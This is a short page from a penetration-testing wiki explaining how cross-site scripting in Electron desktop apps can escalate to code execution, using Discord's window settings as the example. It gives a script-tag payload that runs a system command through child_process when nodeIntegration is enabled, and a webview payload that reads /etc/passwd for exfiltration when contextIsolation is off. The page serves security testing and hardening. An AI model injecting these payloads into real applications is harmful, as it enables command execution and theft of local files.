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https://github.com/carlospolop/hacktricks
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48 lines
1.8 KiB
Markdown
48 lines
1.8 KiB
Markdown
# XSS to RCE Electron Desktop Apps
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Recommended read for more trick: [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
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When I test Electron app, first I always check the options of the [BrowserWindow API](https://www.electronjs.org/docs/api/browser-window), which is used to create a browser window. By checking it, I think about how RCE can be achieved when arbitrary JavaScript execution on the renderer is possible.
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Example:
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```text
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const mainWindowOptions = {
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title: 'Discord',
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backgroundColor: getBackgroundColor(),
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width: DEFAULT_WIDTH,
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height: DEFAULT_HEIGHT,
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minWidth: MIN_WIDTH,
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minHeight: MIN_HEIGHT,
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transparent: false,
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frame: false,
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resizable: true,
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show: isVisible,
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webPreferences: {
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blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
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nodeIntegration: false,
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preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
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nativeWindowOpen: true,
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enableRemoteModule: false,
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spellcheck: true
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}
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};
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```
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## nodeIntgration RCE
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If the nodeIntegration is set to true, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
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```text
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<script>
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require('child_process').exec('calc');
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</script>
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```
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## Read Arbitrary Internal FIle
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If contextIsolation set to false you can try to use <webview> \(similar to <iframe> butcan load local files\) to read local files and exfiltrate them: using something like **<webview src=”file:///etc/passwd”></webview>:**
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**\(Trick copied form** [**here**](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)**\).**
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